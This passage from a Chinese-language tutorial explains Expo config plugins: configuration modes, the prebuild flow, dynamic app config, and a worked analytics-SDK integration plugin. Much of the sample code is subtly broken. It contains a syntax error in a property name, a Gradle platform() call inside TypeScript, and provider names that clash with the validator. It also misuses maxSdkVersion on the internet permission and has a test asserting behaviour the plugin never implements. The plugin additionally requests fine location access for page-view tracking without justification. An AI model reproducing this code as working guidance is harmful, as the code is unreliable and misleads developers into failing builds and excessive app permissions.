简单模式适用于不需要额外参数的插件,直接在plugins数组中添加插件名称即可。例如,expo-sqlite插件就可以这样配置:plugins数组中直接写入'expo-sqlite'。这种方式的优点是配置简洁,缺点是无法传递自定义参数。

扩展模式允许我们为插件传递配置参数,此时需要将插件名称和配置对象组成数组。配置对象的结构完全由插件自身定义,不同插件有不同的配置规范。以下是一个扩展模式的典型示例:

{
  "expo": {
    "plugins": [
      "expo-fonts",
      [
        "expo-camera",
        {
          "cameraPermission": "允许应用访问您的相机来扫描二维码",
          "microphonePermission": "允许应用访问您的麦克风来录制视频",
          "photosPermission": "允许应用访问您的相册来保存照片"
        }
      ],
      [
        "expo-notifications",
        {
          "icon": "./assets/notification-icon.png",
          "color": "#4A90D9",
          "sounds": [
            "./assets/notification-sound.wav"
          ]
        }
      ],
      [
        "expo-build-properties",
        {
          "android": {
            "compileSdkVersion": 34,
            "targetSdkVersion": 34,
            "buildToolsVersion": "34.0.0",
            "kotlinVersion": "1.9.22"
          },
          "ios": {
            "deploymentTarget": "13.4",
            "useFrameworks": "static"
          }
        }
      ]
    ]
  }
}

对于需要动态计算或环境变量的配置,可以使用app.config.js或app.config.ts文件替代app.json。TypeScript配置文件能够提供完整的类型检查和自动补全支持,大大提升配置体验。

// app.config.ts
import type { ExpoConfig } from 'expo';

const config: ExpoConfig = {
  name: process.env.APP_NAME || 'MyApp',
  slug: 'my-app',
  version: process.env.APP_VERSION || '1.0.0',
  plugins: [
    'expo-fonts',
    [
      'expo-camera',
      {
        cameraPermission: getCameraPermission(),
        microphonePermission: getMicrophonePermission(),
      }
    ],
    [
      'expo-build-properties',
      {
        android: {
          compileSdkVersion: Number(process.env.ANDROID_SDK_VERSION) || 34,
        },
        ios: {
          deploymentTarget: process.env.IOS_DEPLOYMENT_TARGET || '13.4',
        }
      }
    ]
  ]
};

function getCameraPermission(): string {
  if (process.env.NODE_ENV === 'development') {
    return '开发模式:允许访问相机';
  }
  return '允许应用访问您的相机';
}

export default config;

1.4 插件与原生代码的交互机制

Expo插件能够修改原生平台代码的核心在于预构建阶段。在这个阶段,Expo会根据配置生成原生的Android和iOS项目文件,同时会调用已注册的插件来修改这些生成的文件。插件可以通过读取配置、修改文件内容、添加依赖等方式来实现功能扩展。

对于iOS平台,插件通常通过修改Info.plist文件来配置权限声明,通过修改Podfile来添加原生依赖,通过修改源文件来添加或修改功能代码。Expo的ios_plugins目录提供了不同操作类型(add权利声明、add依赖、mod源文件等)的处理函数,插件开发者可以利用这些函数来实现各种原生集成需求。

对于Android平台,插件通过修改AndroidManifest.xml来配置权限,通过修改build.gradle来添加依赖,通过修改Kotlin或Java源文件来添加功能代码。Android的插件系统同样提供了丰富的API来操作不同类型的文件,如Manifest文件、Gradle配置、源代码等。

// 插件与原生代码交互的典型模式
const withAndroidManifest = (config, manifest) => {
  // 添加权限声明
  if (!manifest['uses-permission']) {
    manifest['uses-permission'] = [];
  }
  manifest['uses-permission'].push({
    '$': {
      'android:name': 'android.permission.CAMERA',
      'android:required': 'false'
    }
  });

  // 添加功能组件
  if (!manifest.application) {
    manifest.application = { '$': {} };
  }
  manifest.application['activity'] = manifest.application['activity'] || [];
  manifest.application['activity'].push({
    '$': {
      'android:name': '.camera.CameraActivity',
      'android:exported': 'true'
    }
  });

  return manifest;
};

module.exports = withAndroidManifest;

第二部分:插件开发核心原理

2.1 插件函数结构解析

一个完整的Expo插件通常由配置函数、平台检测、配置验证和错误处理等部分组成。理解插件的内部结构是开发高质量插件的基础。

插件的主函数负责接收配置、处理业务逻辑、返回修改后的配置。主函数的第一个参数是当前的config对象,包含了app.json中的所有配置以及Expo工具链添加的运行时信息。第二个可选参数是metadata,包含了项目路径、平台信息等上下文数据。

// 典型插件的函数结构
import { ConfigPlugin, withAndroidManifest, withInfoPlist } from '@expo/config-plugins';

interface PluginOptions {
  // 插件配置选项的类型定义
  enabled?: boolean;
  permission?: string;
  features?: string[];
}

export const withMyPlugin: ConfigPlugin<PluginOptions> = (
  config,
  options = {}
) => {
  // 1. 配置验证与默认值处理
  const resolvedOptions = resolveOptions(options);

  // 2. 检查插件是否启用
  if (!resolvedOptions.enabled) {
    return config;
  }

  // 3. 平台检测与条件执行
  if (process.env.EXPO_OS === 'ios') {
    config = withIosPlugin(config, resolvedOptions);
  }

  if (process.env.EXPO_OS === 'android') {
    config = withAndroidPlugin(config, resolvedOptions);
  }

  // 4. 返回修改后的配置
  return config;
};

// 配置解析函数
function resolveOptions(options?: PluginOptions): Required<PluginOptions> {
  return {
    enabled: options?.enabled ?? true,
    permission: options?.permission ?? '默认权限描述',
    features: options?.features ?? []
  };
}

2.2 配置插件工具集

Expo提供了一系列的配置插件工具函数,这些函数封装了常见的配置操作,大大简化了插件开发过程。@expo/config-plugins包是最核心的工具库,它提供了操作iOS Info.plist、Android Manifest、Gradle文件等的便捷API。

withInfoPlist函数用于修改iOS的Info.plist文件,它提供了类型安全的属性设置方法,支持字符串、布尔值、数组等数据类型。withAndroidManifest函数用于修改Android的AndroidManifest.xml文件,它同样提供了类型安全的方法来添加权限声明、配置组件属性等。

import {
  ConfigPlugin,
  withInfoPlist,
  withAndroidManifest,
  withPodfileProperties,
  withBuildGradle,
  createRunOncePlugin
} from '@expo/config-plugins';

// 使用withInfoPlist添加iOS权限
const withIosPermissions: ConfigPlugin<string[]> = (config, permissions) => {
  return withInfoPlist(config, (config) => {
    const existingPermissions = config.modResults.NSCameraUsageDescription
      ? Object.keys(config.modResults).filter(key => key.includes('UsageDescription'))
      : [];

    permissions.forEach(permission => {
      if (!existingPermissions.includes(permission)) {
        config.modResults[permission] = '应用需要此权限才能正常工作';
      }
    });

    return config;
  });
};

// 使用withAndroidManifest添加Android权限
const withAndroidPermissions: ConfigPlugin<string[]> = (config, permissions) => {
  return withAndroidManifest(config, (config) => {
    const manifest = config.modResults;

    if (!manifest['uses-permission']) {
      manifest['uses-permission'] = [];
    }

    permissions.forEach(perm => {
      const exists = manifest['uses-permission'].some(
        p => p['$']['android:name'] === perm
      );
      if (!exists) {
        manifest['uses-permission'].push({
          '$': { 'android:name': perm }
        });
      }
    });

    return config;
  });
};

// 使用createRunOncePlugin包装插件
export const withMyPlugin = createRunOncePlugin(
  (config: ExpoConfig, options: MyPluginOptions) => {
    // 插件核心逻辑
    return config;
  },
  'my-plugin-name'
);

2.3 预构建流程详解

预构建(Prebuild)是Expo插件发挥作用的关键阶段,它将Expo项目从纯粹的JavaScript/TypeScript代码转换为包含完整原生代码的Android和iOS项目。理解预构建流程对于调试插件问题和优化构建性能都非常重要。

预构建流程首先读取app.json和所有插件的配置,确定需要生成的原生文件和修改的内容。然后Expo调用各平台的项目生成器(如@expo/prebuild-config)来创建初始的项目结构。这个初始结构包含了基本的项目配置、依赖声明和源代码模板。

接下来,Expo按顺序执行所有插件。每个插件都会接收到更新后的配置对象,并有机会修改原生文件。插件的执行顺序很重要,因为后续插件可能依赖前面插件添加的配置或文件。Expo会分析插件之间的依赖关系,自动调整执行顺序以确保正确性。

// 预构建流程的核心步骤伪代码
async function prebuild(projectRoot: string, options: PrebuildOptions) {
  // 步骤1:读取和合并配置
  const config = await loadConfig(projectRoot);

  // 步骤2:获取所有插件
  const plugins = resolvePlugins(config);

  // 步骤3:按依赖顺序排序插件
  const sortedPlugins = topologicallySortPlugins(plugins);

  // 步骤4:执行插件链
  let modifiedConfig = config;
  for (const plugin of sortedPlugins) {
    modifiedConfig = await plugin(modifiedConfig, {
      projectRoot,
      platforms: options.platforms
    });
  }

  // 步骤5:生成原生项目
  await generateNativeProjects(modifiedConfig, options);

  // 步骤6:写入配置变更
  await persistConfigChanges(modifiedConfig);
}

预构建完成后,项目目录中会生成ios和android两个子目录,其中包含了完整的原生项目文件。这些文件是插件执行结果的体现,后续的原生编译过程会使用这些生成的文件进行构建。

2.4 动态配置与条件编译

现代应用开发中,经常需要根据不同的构建变体(开发、测试、生产)或目标平台来使用不同的配置。Expo插件提供了强大的动态配置能力,支持基于环境变量、命令行参数或代码逻辑的条件配置。

通过app.config.js的导出函数,我们可以根据环境变量返回不同的配置。这在处理开发环境和生产环境的差异时特别有用,例如开发环境可能需要更详细的日志输出,而生产环境需要禁用某些调试功能。

// app.config.ts - 动态配置示例
import type { ExpoConfig, ConfigContext } from 'expo';

export default ({ config }: ConfigContext): ExpoConfig => {
  const env = process.env.APP_ENV || 'development';
  const isDev = env === 'development';
  const isStaging = env === 'staging';
  const isProd = env === 'production';

  const baseConfig = {
    name: config.name || 'MyApp',
    slug: config.slug || 'my-app',
    version: '1.0.0',
    owner: config.owner || 'my-team',
    platform: config.platform || ['ios', 'android'],
  };

  // 根据环境添加不同的插件和配置
  const envConfig: Partial<ExpoConfig> = {
    extra: {
      environment: env,
      apiBaseUrl: isDev
        ? 'https://dev-api.example.com'
        : isStaging
        ? 'https://staging-api.example.com'
        : 'https://api.example.com',
    }
  };

  // 开发环境特定的插件
  if (isDev) {
    envConfig.plugins = [
      ...(config.plugins || []),
      ['expo-dev-client', {}]
    ];
  }

  // 生产环境特定的安全配置
  if (isProd) {
    envConfig.ios = {
      ...config.ios,
      infoPlist: {
        ...(config.ios as any)?.infoPlist,
        NSAllowsArbitraryLoads: false,
        NSAppTransportSecurity: {
          NSAllowsArbitraryLoads: false,
        }
      }
    };
  }

  return { ...baseConfig, ...config, ...envConfig };
};

条件编译的另一个重要应用场景是平台特定的功能。例如,某些功能可能只在Android或iOS上可用,此时可以使用平台检测来条件性地应用插件配置。

第三部分:实战业务插件开发

3.1 业务场景分析与需求定义

在实际企业应用开发中,我们经常需要实现一些跨应用复用的功能模块,这些模块通常需要访问原生能力或进行复杂的配置。将这些功能封装为Expo插件,不仅能够提高代码复用性,还能够简化应用配置,让其他开发者能够方便地使用这些功能。

让我们以一个"埋点分析SDK集成插件"作为实战案例。这个插件需要实现以下功能:集成应用分析SDK(如友盟、神策或自建分析服务)、配置SDK初始化参数、设置自动采集的事件类型、添加自定义事件追踪能力。插件需要同时支持iOS和Android平台,并提供灵活的配置选项。

// 插件配置类型定义
interface AnalyticsPluginOptions {
  // 是否启用插件
  enabled?: boolean;

  // 分析服务提供商
  provider: 'umeng' | ' GrowingIO' | ' 自建' | ' firebase';

  // 各平台配置
  ios?: {
    appKey: string;
    channelId?: string;
    policy?: 'BATCH' | 'DAILY' | 'INSTANT';
    reportInterval?: number;
  };

  android?: {
    appKey: string;
    channelId?: string;
    policy?: 'BATCH' | 'DAILY' | 'INSTANT';
    reportInterval?: number;
  };

  // 自动采集配置
  autoTrack?: {
    appStart?: boolean;
    appExit?: boolean;
    pageView?: boolean;
    click?: boolean;
    input?: boolean;
  };

  // 自定义事件配置
  customEvents?: {
    name: string;
    attributes?: Record<string, string>;
  }[];
}

3.2 插件核心代码实现

现在让我们来实现这个埋点分析SDK集成插件。插件将分为几个主要部分:主入口函数、平台特定处理逻辑、配置验证和辅助函数。

// analytics-plugin/index.ts
import {
  ConfigPlugin,
  withInfoPlist,
  withAndroidManifest,
  withBuildGradle,
  withAppBuildGradle,
  createRunOncePlugin,
  WarningMissedPluginOverride,
} from '@expo/config-plugins';
import { ExpoConfig } from 'expo';
import path from 'path';
import fs from 'fs';

/**
 * 埋点分析SDK集成插件
 *
 * 功能特性:
 * 1. 支持友盟、GrowingIO、Firebase等多种分析服务
 * 2. 自动配置iOS和Android原生SDK
 * 3. 提供灵活的事件追踪配置
 * 4. 支持自动采集和自定义事件
 */

// ============================================
// 主入口函数
// ============================================

export const withAnalytics: ConfigPlugin<AnalyticsPluginOptions> = createRunOncePlugin(
  (config: ExpoConfig, options: AnalyticsPluginOptions) => {
    // 验证配置
    validateOptions(options);

    // 如果未启用,直接返回原配置
    if (options.enabled === false) {
      WarningMissedPluginOverride.appendWarnings(config, {
        message: `analytics-plugin is disabled. Set enabled: true to enable.`,
      });
      return config;
    }

    // iOS配置
    if (options.ios) {
      config = withIosAnalytics(config, options);
    }

    // Android配置
    if (options.android) {
      config = withAndroidAnalytics(config, options);
    }

    // 添加原生模块依赖
    config = withAnalyticsDependencies(config, options);

    return config;
  },
  'analytics-plugin'
);

// ============================================
// 配置验证
// ============================================

function validateOptions(options: AnalyticsPluginOptions): void {
  if (!options.provider) {
    throw new Error('analytics-plugin requires a provider to be specified');
  }

  const validProviders = ['umeng', 'growingio', 'custom', 'firebase'];
  if (!validProviders.includes(options.provider)) {
    throw new Error(
      `Invalid provider "${options.provider}". Valid options: ${validProviders.join(', ')}`
    );
  }

  if (!options.ios && !options.android) {
    throw new Error(
      'analytics-plugin requires at least one platform configuration (ios or android)'
    );
  }

  if (options.ios && !options.ios.appKey) {
    throw new Error('analytics-plugin iOS configuration requires appKey');
  }

  if (options.android && !options.android.appKey) {
    throw new Error('analytics-plugin Android configuration requires appKey');
  }
}

3.3 iOS平台实现

接下来实现iOS平台的插件逻辑,包括Info.plist配置修改和Podfile依赖添加。

// ============================================
// iOS平台实现
// ============================================

function withIosAnalytics(
  config: ExpoConfig,
  options: AnalyticsPluginOptions
): ExpoConfig {
  // 添加到Info.plist的配置
  config = withInfoPlist(config, (config) => {
    const { ios } = options;

    // 添加友盟配置
    if (options.provider === 'umeng') {
      config.modResults.UMAnalytics debugMode = ios?.channelId === 'dev' ? 'YES' : 'NO';
      config.modResults.UMAnalytics channelId = ios?.channelId || 'App Store';
    }

    // 添加GrowingIO配置
    if (options.provider === 'growingio') {
      config.modResults.GIOTrackUncaughtExceptions = 'YES';
      config.modResults.GIOTrackAppVersion = 'YES';
    }

    // 添加Firebase配置
    if (options.provider === 'firebase') {
      config.modResults.FIREBASE_ANALYTICS_COLLECTION_ENABLED = 'YES';
    }

    // 自动采集配置
    if (options.autoTrack) {
      const autoTrackConfig: Record<string, string> = {};

      if (options.autoTrack.appStart !== false) {
        autoTrackConfig.appStartEnabled = 'YES';
      }
      if (options.autoTrack.appExit !== false) {
        autoTrackConfig.appExitEnabled = 'YES';
      }
      if (options.autoTrack.pageView !== false) {
        autoTrackConfig.pageViewEnabled = 'YES';
      }
      if (options.autoTrack.click !== false) {
        autoTrackConfig.clickEnabled = 'YES';
      }

      Object.entries(autoTrackConfig).forEach(([key, value]) => {
        config.modResults[`UMAnalytics${key}`] = value;
      });
    }

    return config;
  });

  return config;
}

// 添加iOS原生依赖
function addIosDependencies(dependencies: Record<string, string>, options: AnalyticsPluginOptions): void {
  switch (options.provider) {
    case 'umeng':
      dependencies['UMAnalytics'] = '~> 5.5.0';
      dependencies['UMPush'] = '~> 5.5.0';
      break;
    case 'growingio':
      dependencies['GrowingTouch'] = '~> 3.8.0';
      break;
    case 'firebase':
      dependencies['Firebase/Analytics'] = '~> 10.0.0';
      break;
  }
}

3.4 Android平台实现

Android平台的实现需要处理AndroidManifest.xml权限配置、build.gradle依赖添加,以及可能的Application类修改。

// ============================================
// Android平台实现
// ============================================

function withAndroidAnalytics(
  config: ExpoConfig,
  options: AnalyticsPluginOptions
): ExpoConfig {
  // 添加权限到AndroidManifest
  config = withAndroidManifest(config, (config) => {
    const manifest = config.modResults;

    // 确保有uses-permission节点
    if (!manifest['uses-permission']) {
      manifest['uses-permission'] = [];
    }

    // 添加必要的权限
    const requiredPermissions = [
      'android.permission.INTERNET',
      'android.permission.ACCESS_NETWORK_STATE',
    ];

    // 如果启用了位置追踪
    if (options.autoTrack?.pageView) {
      requiredPermissions.push('android.permission.ACCESS_FINE_LOCATION');
    }

    requiredPermissions.forEach((perm) => {
      const exists = manifest['uses-permission'].some(
        (p) => p['$']['android:name'] === perm
      );
      if (!exists) {
        manifest['uses-permission'].push({
          '$': { 'android:name': perm, 'android:maxSdkVersion': '28' },
        });
      }
    });

    // 配置Application(如果需要)
    if (options.provider === 'umeng') {
      const existingApplication = manifest.application?.[0]?.['$'];
      if (existingApplication && !existingApplication['android:name']) {
        manifest.application[0]['$']['android:name'] =
          '.AnalyticsApplication';
      }
    }

    return config;
  });

  // 添加到根级build.gradle
  config = withBuildGradle(config, (config) => {
    const buildscript = config.modResults.buildscript || { dependencies: [] };

    if (!buildscript.dependencies) {
      buildscript.dependencies = [];
    }

    // 添加Google Services插件(Firebase需要)
    if (options.provider === 'firebase') {
      const googleServicesExists = buildscript.dependencies.some(
        (dep) => dep.class === 'com.google.gms:google-services'
      );

      if (!googleServicesExists) {
        buildscript.dependencies.push({
          class: 'com.google.gms:google-services:4.3.15',
        });
      }
    }

    // 添加友盟仓库
    const repositories = buildscript.repositories || [];
    const umengRepoExists = repositories.some(
      (repo) => repo.url === 'https://repo2.umeng.com/maven/repo'
    );
    if (!umengRepoExists && options.provider === 'umeng') {
      repositories.push({
        url: 'https://repo2.umeng.com/maven/repo',
      });
    }

    config.modResults.buildscript = buildscript;
    return config;
  });

  // 添加到app级build.gradle
  config = withAppBuildGradle(config, (config) => {
    const androidBlock = config.modResults.android || {};
    const dependencies = config.modResults.dependencies || [];

    // 根据provider添加依赖
    switch (options.provider) {
      case 'umeng':
        // 添加友盟依赖
        if (!dependencies.some((d) => d.name?.includes('umeng'))) {
          dependencies.push({
            implementation: 'com.umeng.umsdk:analytics:9.5.0',
          });
          dependencies.push({
            implementation: 'com.umeng.umsdk:common:2.0.0',
          });
        }
        break;

      case 'growingio':
        if (!dependencies.some((d) => d.name?.includes('growingio'))) {
          dependencies.push({
            implementation: 'com.growingio.android:v3:3.8.0',
          });
        }
        break;

      case 'firebase':
        if (!dependencies.some((d) => d.name?.includes('firebase'))) {
          dependencies.push({
            implementation: platform('com.google.firebase:firebase-analytics-ktx'),
          });
        }
        break;
    }

    // 配置自动采集
    if (options.autoTrack) {
      androidBlock.defaultConfig = androidBlock.defaultConfig || {};
      androidBlock.defaultConfig.manifestPlaceholders =
        androidBlock.defaultConfig.manifestPlaceholders || {};

      Object.entries(options.autoTrack).forEach(([key, value]) => {
        androidBlock.defaultConfig.manifestPlaceholders[
          `analytics_${key}_enabled`
        ] = value ? 'true' : 'false';
      });
    }

    config.modResults.android = androidBlock;
    config.modResults.dependencies = dependencies;
    return config;
  });

  return config;
}

3.5 依赖管理与平台判断

为了让插件更加健壮,我们需要添加依赖管理和平台判断逻辑。这些辅助函数能够处理复杂的跨平台场景。

// ============================================
// 依赖管理与平台判断
// ============================================

function withAnalyticsDependencies(
  config: ExpoConfig,
  options: AnalyticsPluginOptions
): ExpoConfig {
  // 使用@expo/package-plugin的withPackages添加原生包
  // 这会根据平台自动添加依赖

  return config;
}

// 平台检测辅助函数
function isIOS(config: ExpoConfig): boolean {
  return (
    !config.platform ||
    (Array.isArray(config.platform)
      ? config.platform.includes('ios')
      : config.platform === 'ios')
  );
}

function isAndroid(config: ExpoConfig): boolean {
  return (
    !config.platform ||
    (Array.isArray(config.platform)
      ? config.platform.includes('android')
      : config.platform === 'android')
  );
}

// 获取当前构建的平台
function getCurrentPlatform(): 'ios' | 'android' | 'all' {
  const platform = process.env.EXPO_OS || process.env.RN_PLATFORM;
  if (platform === 'ios') return 'ios';
  if (platform === 'android') return 'android';
  return 'all';
}

// ============================================
// 配置合并与默认值处理
// ============================================

function mergeWithDefaults(
  options: AnalyticsPluginOptions
): Required<AnalyticsPluginOptions> {
  return {
    enabled: options.enabled ?? true,
    provider: options.provider,
    ios: options.ios
      ? {
          appKey: options.ios.appKey,
          channelId: options.ios.channelId ?? 'App Store',
          policy: options.ios.policy ?? 'BATCH',
          reportInterval: options.ios.reportInterval ?? 60000,
        }
      : undefined,
    android: options.android
      ? {
          appKey: options.android.appKey,
          channelId: options.android.channelId ?? 'Official',
          policy: options.android.policy ?? 'BATCH',
          reportInterval: options.android.reportInterval ?? 60000,
        }
      : undefined,
    autoTrack: options.autoTrack ?? {
      appStart: true,
      appExit: true,
      pageView: true,
      click: true,
      input: false,
    },
    customEvents: options.customEvents ?? [],
  };
}

3.6 插件使用与测试

插件开发完成后,我们需要确保它能够被正确使用。以下是插件的使用示例和测试指南。

// ============================================
// 插件使用示例
// ============================================

/**
 * 在app.json中使用插件的示例:
 *
 * {
 *   "expo": {
 *     "plugins": [
 *       [
 *         "analytics-plugin",
 *         {
 *           "enabled": true,
 *           "provider": "umeng",
 *           "ios": {
 *             "appKey": "your-ios-app-key",
 *             "channelId": "App Store",
 *             "policy": "BATCH"
 *           },
 *           "android": {
 *             "appKey": "your-android-app-key",
 *             "channelId": "Official",
 *             "policy": "BATCH"
 *           },
 *           "autoTrack": {
 *             "appStart": true,
 *             "appExit": true,
 *             "pageView": true,
 *             "click": true,
 *             "input": false
 *           },
 *           "customEvents": [
 *             { "name": "signup_completed", "attributes": { "method": "email" } },
 *             { "name": "purchase_completed", "attributes": { "currency": "CNY" } }
 *           ]
 *         }
 *       ]
 *     ]
 *   }
 * }
 */

// ============================================
// 插件测试辅助
// ============================================

import { getConfig, loadProjectConfigAsync } from '@expo/config';

async function testPlugin(): Promise<void> {
  // 模拟项目配置
  const mockConfig: ExpoConfig = {
    name: 'TestApp',
    slug: 'test-app',
    platforms: ['ios', 'android'],
    plugins: [],
  };

  const mockOptions: AnalyticsPluginOptions = {
    enabled: true,
    provider: 'umeng',
    ios: {
      appKey: 'test-ios-key',
      channelId: 'Test',
    },
    android: {
      appKey: 'test-android-key',
      channelId: 'Test',
    },
    autoTrack: {
      appStart: true,
      pageView: true,
    },
  };

  // 测试插件函数
  const result = withAnalytics(mockConfig, mockOptions);

  // 验证结果
  console.log('Plugin test result:', JSON.stringify(result, null, 2));

  // 断言验证
  if (!result.plugins?.includes('analytics-plugin')) {
    throw new Error('Plugin not added to config');
  }

  console.log('Plugin test passed!');
}

// 运行测试
testPlugin().catch(console.error);

第四部分:高级主题与最佳实践

4.1 插件调试技巧

开发Expo插件时,调试是一个重要的环节。由于插件在预构建阶段执行,传统的JavaScript调试方法并不完全适用。以下是一些有效的调试技巧和工具。

使用console.log进行基础调试是最直接的方法。在插件代码中添加日志输出,可以追踪配置的变化过程和插件的执行流程。建议在关键节点添加详细的日志信息,包括输入配置、修改内容和最终结果。

// 调试日志辅助函数
function debugLog(message: string, data?: any): void {
  if (process.env.EXPO_DEBUG) {
    console.log(`[Analytics Plugin Debug] ${message}`, data ?? '');
  }
}

// 在插件中使用
export const withAnalytics: ConfigPlugin<AnalyticsPluginOptions> = (
  config,
  options
) => {
  debugLog('Initial config', config);
  debugLog('Plugin options', options);

  // ... 插件逻辑

  debugLog('Modified config', config);
  return config;
};

使用Expo预构建命令的verbose模式可以获取更详细的构建信息。通过npx expo prebuild --clean --verbose命令,可以查看完整的预构建过程和所有插件的执行日志。

对于原生代码的调试,需要在构建完成后使用各平台的原生调试工具。对于iOS,可以使用Xcode的调试器;对于Android,可以使用Android Studio的调试器。建议在原生代码中也添加适当的日志输出,以便追踪问题。

4.2 性能优化考量

当插件数量较多时,预构建的性能可能成为开发效率的瓶颈。以下是一些优化建议。

插件的幂等性是一个重要的设计原则。幂等的插件可以安全地被多次执行,而不会产生意外的副作用。createRunOncePlugin函数能够帮助我们实现这一特性,它会确保插件只被执行一次,后续调用会直接返回缓存的结果。

import { createRunOncePlugin } from '@expo/config-plugins';

// 使用createRunOncePlugin包装插件
export const withMyPlugin = createRunOncePlugin(
  (config: ExpoConfig, options: MyPluginOptions) => {
    // 插件逻辑
    return config;
  },
  'my-plugin-name'
);

增量构建是另一个重要的优化策略。对于不需要每次都重新执行的逻辑,可以使用文件哈希或时间戳来跳过未变化的部分。例如,如果AndroidManifest.xml已经被修改过,就不需要再次读取和解析它。

// 增量构建示例
const CACHE_FILE = '.analytics-plugin.cache';

function shouldSkipAndroid(config: ExpoConfig): boolean {
  try {
    const cache = JSON.parse(fs.readFileSync(CACHE_FILE, 'utf-8'));
    const manifestPath = path.join(
      config.modPlatforms?.android?.sourceDir || '',
      'app/src/main/AndroidManifest.xml'
    );
    const manifestMtime = fs.statSync(manifestPath).mtime;

    return cache.manifestMtime === manifestMtime.toISOString();
  } catch {
    return false;
  }
}

4.3 类型安全与配置验证

完善的类型定义和配置验证能够大大提升插件的用户体验。TypeScript的类型系统可以帮助用户在配置阶段就发现错误,而不是等到预构建时。

// 使用JSON Schema进行运行时验证
import Ajv from 'ajv';

const pluginOptionsSchema = {
  type: 'object',
  required: ['provider'],
  properties: {
    enabled: { type: 'boolean' },
    provider: {
      type: 'string',
      enum: ['umeng', 'growingio', 'custom', 'firebase']
    },
    ios: {
      type: 'object',
      required: ['appKey'],
      properties: {
        appKey: { type: 'string', minLength: 1 },
        channelId: { type: 'string' },
        policy: { type: 'string', enum: ['BATCH', 'DAILY', 'INSTANT'] },
        reportInterval: { type: 'number', minimum: 1000 }
      }
    },
    android: {
      type: 'object',
      required: ['appKey'],
      properties: {
        appKey: { type: 'string', minLength: 1 },
        channelId: { type: 'string' },
        policy: { type: 'string', enum: ['BATCH', 'DAILY', 'INSTANT'] },
        reportInterval: { type: 'number', minimum: 1000 }
      }
    },
    autoTrack: {
      type: 'object',
      properties: {
        appStart: { type: 'boolean' },
        appExit: { type: 'boolean' },
        pageView: { type: 'boolean' },
        click: { type: 'boolean' },
        input: { type: 'boolean' }
      }
    },
    customEvents: {
      type: 'array',
      items: {
        type: 'object',
        required: ['name'],
        properties: {
          name: { type: 'string', minLength: 1 },
          attributes: { type: 'object', additionalProperties: { type: 'string' } }
        }
      }
    }
  }
};

const ajv = new Ajv();
const validate = ajv.compile(pluginOptionsSchema);

function validateOptions(options: unknown): asserts options is AnalyticsPluginOptions {
  if (!validate(options)) {
    throw new Error(
      `Invalid plugin options: ${ajv.errorsText(validate.errors)}`
    );
  }
}

4.4 安全性考虑

在插件开发中,安全性是一个不容忽视的方面。插件可能会处理敏感的配置信息,如API密钥、证书路径等,需要确保这些信息不会被泄露或滥用。

敏感配置应该通过环境变量而非硬编码的方式获取。插件应该避免在日志或错误消息中输出敏感信息。对于必须的敏感配置,应该添加适当的警告提示。

// 安全的环境变量读取
function getSecureConfig(key: string, envVar: string): string {
  const value = process.env[envVar];

  if (!value) {
    throw new Error(
      `Missing required environment variable ${envVar} for ${key}`
    );
  }

  // 验证值不为空
  if (value.trim().length === 0) {
    throw new Error(`Environment variable ${envVar} cannot be empty`);
  }

  return value;
}

// 在插件中使用
const iosAppKey = getSecureConfig('iOS App Key', 'ANALYTICS_IOS_APP_KEY');

总结与展望

通过本文的深度剖析,我们系统地学习了Expo插件的开发原理和实战技巧。从插件系统的架构设计,到配置解析和预构建流程,再到实际的业务插件开发,我们涵盖了Expo插件开发的各个方面。

Expo插件系统是Expo框架灵活性的核心体现,它让开发者能够在不编写原生代码的情况下,实现复杂的平台特定功能。掌握插件开发技术,不仅能够帮助我们更好地使用现有插件,还能够将通用的功能封装为可复用的插件,提高团队的开发效率。

在未来的Expo发展中,插件系统将继续演进和完善。我们可以期待更强大的配置验证机制、更高效的预构建流程,以及更丰富的官方插件库。作为开发者,我们应该持续关注Expo的更新动态,学习最新的插件开发实践,并将这些知识应用到实际项目中。

希望本文能够帮助读者建立起对Expo插件系统的全面理解,并在今后的开发工作中灵活运用这些技术,开发出高质量的Expo应用和插件。

❌